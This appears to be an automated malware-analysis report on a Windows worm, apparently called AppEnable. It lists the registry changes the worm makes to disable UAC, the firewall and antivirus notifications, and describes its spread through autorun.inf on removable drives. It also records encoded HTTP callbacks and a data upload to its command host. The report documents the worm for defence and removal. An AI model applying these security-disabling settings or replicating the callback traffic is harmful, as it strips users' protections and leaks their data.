"a3_511" = "3679991734"
"a3_516" = "3715971501"
"a3_517" = "3723025868"
"a1_198" = "624864537"
"a1_199" = "2613955388"
"a4_148" = "1061029908"
"a4_149" = "1068199029"
"a4_146" = "1046691666"
"a4_147" = "1053860787"
"a1_196" = "1622447643"
"a4_145" = "1039522545"
"a1_190" = "1847546535"
"a4_143" = "1025184303"
"a4_140" = "1003676940"
"a4_141" = "1010846061"
"a2_983" = "2752277088"
"a3_910" = "2245638887"
"a4_548" = "3928678308"
"a4_549" = "3935847429"
"a4_542" = "3885663582"
"a4_543" = "3892832703"
"a4_540" = "3871325340"
"a4_541" = "3878494461"
"a4_546" = "3914340066"
"a4_547" = "3921509187"
"a4_544" = "3900001824"
"a4_545" = "3907170945"
"a4_839" = "1719925223"
"a1_662" = "2478643593"
"a1_663" = "2303243004"
"a3_965" = "2639793036"
"a1_660" = "2679207514"
"a4_380" = "2724265980"
"a4_381" = "2731435101"
"a4_382" = "2738604222"
"a4_383" = "2745773343"
"a4_384" = "2752942464"
"a4_385" = "2760111585"
"a4_386" = "2767280706"
"a4_169" = "1211581449"
"a4_388" = "2781618948"
"a4_389" = "2788788069"
"a1_667" = "4271890066"
"a1_664" = "218104530"
[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"AntiVirusOverride" = "1"
[HKCU\Software\Aas]
"a1_665" = "828097669"
"a1_0" = "4079183183"
"a1_1" = "1533999419"
"a1_2" = "333900187"
"a1_3" = "1131992701"
"a1_4" = "3755401945"
"a1_5" = "2692097881"
"a1_6" = "1772591705"
"a1_7" = "2997703561"
"a1_8" = "2110851921"
"a1_9" = "118359765"
"a2_566" = "4057724185"
"a2_567" = "4064889528"
"a2_564" = "4043387667"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLUA" = "0"
[HKCU\Software\Aas]
"a2_562" = "4029040043"
"a2_563" = "4036223241"
"a3_8" = "40388897"
"a3_9" = "47967552"
"a3_6" = "59977839"
"a3_7" = "67032206"
"a3_4" = "11991981"
"a3_5" = "52535244"
"a3_2" = "31040235"
"a3_3" = "4933386"
"a3_0" = "17001001"
"a3_1" = "23989832"
"a2_412" = "2953682595"
"a2_413" = "2960844778"
"a2_410" = "2939344517"
"a2_411" = "2946511195"
"a2_416" = "2982347834"
"a2_417" = "2989528480"
"a2_414" = "2968023316"
"a2_415" = "2975182632"
"a2_418" = "2996697541"
"a2_419" = "3003863962"
"a2_962" = "2601724165"
"a2_963" = "2608891188"
"a2_960" = "2587379729"
"a2_961" = "2594557158"
"a2_966" = "2630412093"
"a2_967" = "2637577540"
"a2_964" = "2616058022"
"a4_950" = "2515697654"
"a1_631" = "3087200584"
"a2_968" = "2644744303"
"a2_969" = "2651909894"
"a4_564" = "4043384244"
"a1_219" = "395656098"
"a1_218" = "4188432683"
"a1_217" = "254753888"
"a1_216" = "3143177741"
"a1_215" = "2823297886"
"a1_214" = "2435360324"
"a1_213" = "855057127"
"a1_212" = "1352987293"
"a1_211" = "1336931149"
"a1_210" = "2113807822"
"a2_988" = "2788126971"
"a2_989" = "2795296754"
"a4_567" = "4064891607"
"a1_630" = "1775899661"
"a2_980" = "2730780318"
"a4_560" = "4014707760"
"a2_982" = "2745111754"
"a4_956" = "2558712380"
"a2_984" = "2759454994"
"a2_985" = "2766608997"
"a2_986" = "2773780150"
"a4_561" = "4021876881"
"a4_562" = "4029046002"
"a3_991" = "2792683862"
"a4_563" = "4036215123"
"a4_443" = "3175920603"
"a1_633" = "4281921954"
"a4_442" = "3168751482"
"a4_441" = "3161582361"
The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
A firewall is disabled:
[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = "0"
Adds a rule to the firewall Windows which allows any network activity:
[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\c:]
"%original file name%.exe" = "c:\%original file name%.exe:*:Enabled:ipsec"
The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
Antivirus notifications are disabled:
[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"
The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"
Firewall notifications are disabled:
[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DisableNotifications" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
Antivirus notifications are disabled:
[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"AntiVirusDisableNotify" = "1"
The Worm deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process AppEnable.mg.exe:1092 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 51 18 69 90 97 21 DD BF 7B 9C 5C 76 B0 8D 8C"
Dropped PE files
| MD5 | File path |
|---|---|
| 5966f3c09a9960486a2074be5300e25f | c:\ppei.pif |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Worm's file once a user opens a drive's folder in Windows Explorer.
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:860
AppEnable.mg.exe:1092 - Delete the original Worm file.
- Delete or disinfect the following files created/modified by the Worm:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U0G00V7L\desktop.ini (67 bytes)
%WinDir%\system.ini (70 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns4.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsJSON.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RSBS108J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ExecDos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\9MI85F21\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISEncrypt.dll (3286 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\AppEnable.mg.exe (7533 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\00072364_Rar\%original file name%.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns3.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ilg (263456 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ODG5ST95\desktop.ini (67 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 22738 | 23040 | 4.48583 | 062e6a4ad566f0caf1413733f848ea62 |
| .rdata | 28672 | 4496 | 4608 | 3.59034 | a2c7710fa66fcbb43c7ef0ab9eea5e9a |
| .data | 36864 | 253816 | 1024 | 3.1957 | acf5fcee4a8110074c3935a8dde700a9 |
| .ndata | 290816 | 753664 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
| .rsrc | 1044480 | 86016 | 84480 | 5.52687 | 16cfa2ba081c3967f959f833926a2f8d |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
| URL | IP |
|---|---|
| hxxp://appenable.info/mg?alpha=J1l2MToBHCBuQgEvWRs1GBA0Ij95SnINelxGNDNTf1l4e2pkZiFKJSNtGUVie0huEk5WKAU3fTpYOhwoVA4XNU87LUVbOwAAFTwaTQpZCzVlRXBgZjFcI1A6UTd0biYhCCo6P3IldlpUJRtqN2t7T3NkRic5QXB1YhwxMH0vDAo7TDpRNiQ2fnRqPB1RWgdJZSNIc3Yzbw8uTFQoYQoCF2k= | |
| hxxp://appenable.info/mg?alpha=J1l2MTocaEARARFtWRs1Jh0lPDonH3RAS1dBBwEvIQ83UTcDImtDUSQcd0ZvDU1uYEVVWWlFf01aUmVZNFFMPE9fDmp+MXc2QzZrVi9y | |
| hxxp://appenable.info/mg?alpha=LVIHL082SGYtNW9qKAVAEhtFPEpzUTdzX0MOZA== | |
| hxxp://appenable.info/fp?alpha=ME5PLhpJc1cDX0t2YAQVMQocIxowEllfWxdPFC8QdUgeSRkTQT1RdDURJSA6a0VOfmc3JVAoLi5VGnF+Q2pFKRpbOQVHCiJLDSYsUU8kRQVwU1R+TiJPGFEdQCFIcQc/GRM8H207SVlpMwRTKU1rXE94Zy05ISxaOhpdLAFTZnR/LgtRCDQMZUZJIk5cHz5QGnRCT3hWdEkKA05bJR58BjQPED8PYTBfDiUiBAI4Qz5ISXxwYmUsTABzHUArRCV/Zn00ABNRbUs4Rxo7Myg6LxJaJl9Lf0cnSxxSGFBxDjALWFMFfVo8ZkIpczsNV1xOakVMfGQ2JVBYKi5VGwEMNwYwKWhcOnw6bWlgWiwVTSd4YDV2 | |
| hxxp://appenable.info/ii?alpha=NEsXLmQmZygaHQVzOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhAAf3EnWGYsEltNSzNjexYENTBMSWNFZWADRClKYBFPCzEKZUkzOmcMH203E3VIPgcwFws2N2FdEmUdMTx7OnF9EjotITx7CDhNGQ0ccjdocFh1ZRcMIlx2dVUMLWFmWB0RIhdnGBEhYVgUez43cwc/U2hdVG92eDVya3h2Yi95ZWsUGSwjbQ4te1AZEApscm8HBDUwVklnQGZmFEQ9fnsdF0IkE3ZOfHIiGVU4dz50SwlUYQR+dmI0BFEjCCxYJ3VifRlWETZgWj5tC0wXEz9mc0kDazwBXTAGa39XDX44IFgfA2lCJR9sCzgYQjJpED0fKgA1Dh18cWU7bzxJdmhpSn9qCQMjLiFnH1sCIhgXZnIRVVhtZF4ePxNrd0FbcjkUMHZqJkQy | |
| hxxp://appenable.info/if?alpha=NEsXLmQLN0VYOkgwOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhgVfxFpSzdyawQQEUk7OUtibGgMGDlWOzBaEml+L0xCU2BcJBRyeTcESjxjYzIUTl5jX3lqamUERzNYaGI7eTB8GBAAMG54ZigMWldXO2JlCQQuMEpdNhU5CghCcl1BWB0RIAtlQGEfa0QfZyYiKwdbCCtbUmwjNx5ULlo5QCB/ZHcOGSQ2IXkycEYFDhYiCgUHYWluHh4iAz8pCUAjKGQbABE9HXsFZmg3BEomY2c3F0hJY0tNcWY9TVIqS28tczwlNk1QLTFtTzV5Hy8XAm47Jk8RM1QWEiUVMmY0VS58dw1bRDoEKBF6JjBaRnF3MHEaUQoqCAsqIzUMH3sYPj0KJiQhR04DeDlsYS0VTB0RPwQYUFBpZFgtOAIiMwZNb0FWO1IqNQBxBRg6a1wedE5/fxFmCA== | |
| hxxp://install.appenable.info/mg?alpha=J1l2MToBHCBuQgEvWRs1GBA0Ij95SnINelxGNDNTf1l4e2pkZiFKJSNtGUVie0huEk5WKAU3fTpYOhwoVA4XNU87LUVbOwAAFTwaTQpZCzVlRXBgZjFcI1A6UTd0biYhCCo6P3IldlpUJRtqN2t7T3NkRic5QXB1YhwxMH0vDAo7TDpRNiQ2fnRqPB1RWgdJZSNIc3Yzbw8uTFQoYQoCF2k= | 8.37.113.115 |
| hxxp://install.appenable.info/mg?alpha=J1l2MTocaEARARFtWRs1Jh0lPDonH3RAS1dBBwEvIQ83UTcDImtDUSQcd0ZvDU1uYEVVWWlFf01aUmVZNFFMPE9fDmp+MXc2QzZrVi9y | 8.37.113.115 |
| hxxp://install.appenable.info/ii?alpha=NEsXLmQmZygaHQVzOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhAAf3EnWGYsEltNSzNjexYENTBMSWNFZWADRClKYBFPCzEKZUkzOmcMH203E3VIPgcwFws2N2FdEmUdMTx7OnF9EjotITx7CDhNGQ0ccjdocFh1ZRcMIlx2dVUMLWFmWB0RIhdnGBEhYVgUez43cwc/U2hdVG92eDVya3h2Yi95ZWsUGSwjbQ4te1AZEApscm8HBDUwVklnQGZmFEQ9fnsdF0IkE3ZOfHIiGVU4dz50SwlUYQR+dmI0BFEjCCxYJ3VifRlWETZgWj5tC0wXEz9mc0kDazwBXTAGa39XDX44IFgfA2lCJR9sCzgYQjJpED0fKgA1Dh18cWU7bzxJdmhpSn9qCQMjLiFnH1sCIhgXZnIRVVhtZF4ePxNrd0FbcjkUMHZqJkQy | 8.37.113.115 |
| hxxp://install.appenable.info/mg?alpha=LVIHL082SGYtNW9qKAVAEhtFPEpzUTdzX0MOZA== | 8.37.113.115 |
| hxxp://install.appenable.info/fp?alpha=ME5PLhpJc1cDX0t2YAQVMQocIxowEllfWxdPFC8QdUgeSRkTQT1RdDURJSA6a0VOfmc3JVAoLi5VGnF+Q2pFKRpbOQVHCiJLDSYsUU8kRQVwU1R+TiJPGFEdQCFIcQc/GRM8H207SVlpMwRTKU1rXE94Zy05ISxaOhpdLAFTZnR/LgtRCDQMZUZJIk5cHz5QGnRCT3hWdEkKA05bJR58BjQPED8PYTBfDiUiBAI4Qz5ISXxwYmUsTABzHUArRCV/Zn00ABNRbUs4Rxo7Myg6LxJaJl9Lf0cnSxxSGFBxDjALWFMFfVo8ZkIpczsNV1xOakVMfGQ2JVBYKi5VGwEMNwYwKWhcOnw6bWlgWiwVTSd4YDV2 | 8.37.113.115 |
| hxxp://install.appenable.info/if?alpha=NEsXLmQLN0VYOkgwOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhgVfxFpSzdyawQQEUk7OUtibGgMGDlWOzBaEml+L0xCU2BcJBRyeTcESjxjYzIUTl5jX3lqamUERzNYaGI7eTB8GBAAMG54ZigMWldXO2JlCQQuMEpdNhU5CghCcl1BWB0RIAtlQGEfa0QfZyYiKwdbCCtbUmwjNx5ULlo5QCB/ZHcOGSQ2IXkycEYFDhYiCgUHYWluHh4iAz8pCUAjKGQbABE9HXsFZmg3BEomY2c3F0hJY0tNcWY9TVIqS28tczwlNk1QLTFtTzV5Hy8XAm47Jk8RM1QWEiUVMmY0VS58dw1bRDoEKBF6JjBaRnF3MHEaUQoqCAsqIzUMH3sYPj0KJiQhR04DeDlsYS0VTB0RPwQYUFBpZFgtOAIiMwZNb0FWO1IqNQBxBRg6a1wedE5/fxFmCA== | 8.37.113.115 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /mg?alpha=J1l2MTocaEARARFtWRs1Jh0lPDonH3RAS1dBBwEvIQ83UTcDImtDUSQcd0ZvDU1uYEVVWWlFf01aUmVZNFFMPE9fDmp+MXc2QzZrVi9y HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.appenable.info
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Tue, 10 May 2016 01:56:44 GMT
Content-Length: 2004
g9cnTAXc61IeT7SsGjBalI9jRArWwHhbTufgcRwTjY5nSESf63IoYZPtQDYpzd0wWSjH VtEVfy4FXRm 43PzavlzAOR6HUbw0SoIsyd0Otp2JIG9OLIWVGmdVRW0zF8DkQEsq5YWs3xMBFGwmK0yhHPN/9VVwS15EjQ1fT1j0dL6iAd1pdl9dtVUKpiBNxUr aZUQfwKEqZVauqy9YSNnFLkYSj hzfTTDwSlAAo6dYUxlkfQBHxTbw3xUUcPXFlA4/4wxQgnbiy1bFLaXBDAN07Nafj6HzmBwVLHhNwQL5s84A16S/mVkOt3WVyY0nZ5xTDrAsTQRGcaVKVIBmpAdHS ogBsBXoeZOxcVo4tNMFKJi3ROHcCGFGFZsOw3BEfA2idGEoD0ZWk /8R/ExKKsnpMKtizQxgWw5IjDAHfwQ8LLK Bd1pVg9dyHEztghlzVIXZK1kb0Ic/LE7n4HEcE4yHZ0hEn tyKGGT7UApM83dMFkox/lbRFX8mDVJTcLXGRIisZYJPGCWyWgXB7zFTTBBkJdkSCfEjyciD6v8eVIFl9MzGlWF73JuDdDJfh9G1Z9nRSWfsx8RBcyECEFX38QOPyu4hj5CCYTabQoF48UIYVOGlGNJS5 EI2xGoKU3W1HU1T9ICpLpYm8mnd4pEwDNyysbZZHlAA4SjdtkaGjl5UlQYa2EIQgR2JlSABOmiRV3RZ afV41 aM3dFqX/HtNC5mUPQtck/5ZazbUhzEUEYOdPgssy EcHQPKhRBBT8PXSUYtqIk5TBGE1HMaBYGGFXtBlLh5SArOwHhmVKn6cBIL3MUvHV U/zUwPdDJeB9IzZRqSCrHs0MKBdqEOwxYlNsPXnnk1nlCR5vLZFta7a8qQWDT1zNdCNGKYDoXlvBmV0fB0zkEUYroS1YLw8poPhGCgTAFa8XwFQsS4YArRQGM3B4QL/HHMBhDh9h1HASZhg1nUtPBf1gFyc5gZlq36nBwSMHfPQ9zjv50YXmLw2oWF4rdMEA61 YWDBON2yBBT8XXR14mpYQ2FBHYz3MMBbLLGjBeldkrFF2JwDZ5RaCrLxxh/uUcSBzE63Z M5OfKTcNjIN9WibV5SUiIMaPIk9Uxe43PzavlzAOR7TecwoJoIk9TmKfkn9eHcSOLlxphOdhV2Xa0SwPQsS3NXw63dBuNAWClDATJ8b9FVJVypk2RUDC1w8qIrGQMEIJjM5tFUztgQ5gVJS1cFkA04cBaFCm4jcET9TaOA8cxPJkbize129YXomQflosn7McBhbMlWQaV8THDgFvpsc8BBHYijFLTO2TGGJS08EzZSL2tWAsF7XoYVYLj5QGA1OU9GRlPcX5Vy0NgZV9XjrvzToLBd2EKFR108AYFSyzuQk1XYvVcg0Bo4s9TmCYiXReAcSQKSIZ5/90UlzQ CoHVcSheX833YkpHxyflHFdLNfHGBICysN8Tlba3kdeJbKXNgV9g89oDwWMjwRxXNPBd0wF1oduIly27WJRW9GUcQxRiuhyJnnU3WoZEM3L
<<< skipped >>>
GET /fp?alpha=ME5PLhpJc1cDX0t2YAQVMQocIxowEllfWxdPFC8QdUgeSRkTQT1RdDURJSA6a0VOfmc3JVAoLi5VGnF+Q2pFKRpbOQVHCiJLDSYsUU8kRQVwU1R+TiJPGFEdQCFIcQc/GRM8H207SVlpMwRTKU1rXE94Zy05ISxaOhpdLAFTZnR/LgtRCDQMZUZJIk5cHz5QGnRCT3hWdEkKA05bJR58BjQPED8PYTBfDiUiBAI4Qz5ISXxwYmUsTABzHUArRCV/Zn00ABNRbUs4Rxo7Myg6LxJaJl9Lf0cnSxxSGFBxDjALWFMFfVo8ZkIpczsNV1xOakVMfGQ2JVBYKi5VGwEMNwYwKWhcOnw6bWlgWiwVTSd4YDV2 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.appenable.info
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Tue, 10 May 2016 01:56:47 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Tue, 10 May 2016 01:56:47 GMT..Content-Length: 0......
GET /ii?alpha=NEsXLmQmZygaHQVzOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhAAf3EnWGYsEltNSzNjexYENTBMSWNFZWADRClKYBFPCzEKZUkzOmcMH203E3VIPgcwFws2N2FdEmUdMTx7OnF9EjotITx7CDhNGQ0ccjdocFh1ZRcMIlx2dVUMLWFmWB0RIhdnGBEhYVgUez43cwc/U2hdVG92eDVya3h2Yi95ZWsUGSwjbQ4te1AZEApscm8HBDUwVklnQGZmFEQ9fnsdF0IkE3ZOfHIiGVU4dz50SwlUYQR+dmI0BFEjCCxYJ3VifRlWETZgWj5tC0wXEz9mc0kDazwBXTAGa39XDX44IFgfA2lCJR9sCzgYQjJpED0fKgA1Dh18cWU7bzxJdmhpSn9qCQMjLiFnH1sCIhgXZnIRVVhtZF4ePxNrd0FbcjkUMHZqJkQy HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.appenable.info
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Tue, 10 May 2016 01:56:47 GMT
Content-Length: 84
WDU7/UFSb3n5NEdWBoEAXnh56V5cOnzwM1E5Xa1BTCElt1YHF37Xc0Zleq5TR3Jp/S9SHRCjXwm HqELcq5yHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Tue, 10 May 2016 01:56:47 GMT..Content-Length: 84..WDU7/UFSb3n5NEdWBoEAXnh56V5cOnzwM1E5Xa1BTCElt1YHF37Xc0Zleq5TR3Jp/S9SHRCjXwm HqELcq5y....
POST /if?alpha=NEsXLmQLN0VYOkgwOARrNQ9EI2Q0FxsGaRtmAz8hZhddaSEhOmYYSkNXWnppPUtLPU12RC0hJChMQmxzMABqKwxbTVcwZ2YBWGg8CRoOGSVgFEZySSQ4MSBtQiIIGnBDHVY8ZGAwCikOQAsWLDYaK2MNH0I4DCRTPhgVfxFpSzdyawQQEUk7OUtibGgMGDlWOzBaEml+L0xCU2BcJBRyeTcESjxjYzIUTl5jX3lqamUERzNYaGI7eTB8GBAAMG54ZigMWldXO2JlCQQuMEpdNhU5CghCcl1BWB0RIAtlQGEfa0QfZyYiKwdbCCtbUmwjNx5ULlo5QCB/ZHcOGSQ2IXkycEYFDhYiCgUHYWluHh4iAz8pCUAjKGQbABE9HXsFZmg3BEomY2c3F0hJY0tNcWY9TVIqS28tczwlNk1QLTFtTzV5Hy8XAm47Jk8RM1QWEiUVMmY0VS58dw1bRDoEKBF6JjBaRnF3MHEaUQoqCAsqIzUMH3sYPj0KJiQhR04DeDlsYS0VTB0RPwQYUFBpZFgtOAIiMwZNb0FWO1IqNQBxBRg6a1wedE5/fxFmCA== HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Filename: ilg
User-Agent: NSIS_Inetc (Mozilla)
Host: install.appenable.info
Content-Length: 26887
Connection: Keep-Alive
Cache-Control: no-cache
alpha=AwBdOAYUWGV0GixeUhVwFE4ePkoYFV4VWjY7WWRGCgptDw==|,|AwBdOAYFJgwCPg5rUihnJWgiC0oYFXtOagERLB9ncB8AQlICITEyF3IzPV0ZXno8OCdDGkJ6BGpYXTZMU3gDa1l5XlM=|,|AwBdOAYMDhNBPQ56TyN5IQxWeSkfaXw7dRATKjQbaQBVc28qAy4/FGIMQFIzCksYBAx5ekUqIQ==|,|Bn0lN1AePi08EHN JBwLEA5QH3gAdWAPa2FOaxh4|,|Bn0lN1BvAShQH288KgcRADB/OhxzLTMICS9NNwIJWXhpLEUiB1MyTA0/Pix3UhonfygDCkwoYx4NdnZCAFovRlBvCWJeXiIXQzZrVi9y|,|CXltNxtMPwBgA3kkYhp6Ejk OAMPKnoURm9EMChaXnZlMUIFWzhReBsuKn9LLxkC|,|CXltNxtqH1xdf1V8YgdaDzQ3OiRAOXoYTm9BLSpaH3tufEMNWzlRKVJlJCFHRW8rBS4vGQk=|,|CXltNxs1Tl4NBjZ/YgdaDzQ3OiRAOXoYTm8afyxEQh8dImszLA==|,|CXltNxsjdTMrOxoQeAJACxMddhFdI2VbSCBKMiRZWzhteEAJFWBRLip/S2oiAg==|,|DHY1NmUmemsqRBofIAM Dh1Ad29YLD1aNiVFaiUnXjc1eT4MGjhQBggKZ0cPLw==|,|DHY1NmUmem
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Tue, 10 May 2016 01:56:48 GMT
Content-Length: 41
{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP001C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Tue, 10 May 2016 01:56:48 GMT..Content-Length: 41..{"status":"OK","url":null,"message":null}..
GET /mg?alpha=J1l2MToBHCBuQgEvWRs1GBA0Ij95SnINelxGNDNTf1l4e2pkZiFKJSNtGUVie0huEk5WKAU3fTpYOhwoVA4XNU87LUVbOwAAFTwaTQpZCzVlRXBgZjFcI1A6UTd0biYhCCo6P3IldlpUJRtqN2t7T3NkRic5QXB1YhwxMH0vDAo7TDpRNiQ2fnRqPB1RWgdJZSNIc3Yzbw8uTFQoYQoCF2k= HTTP/1.1
User-Agent: WinHttpClient
Host: install.appenable.info
Connection: Keep-Alive
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Tue, 10 May 2016 01:56:44 GMT
Content-Length: 184148
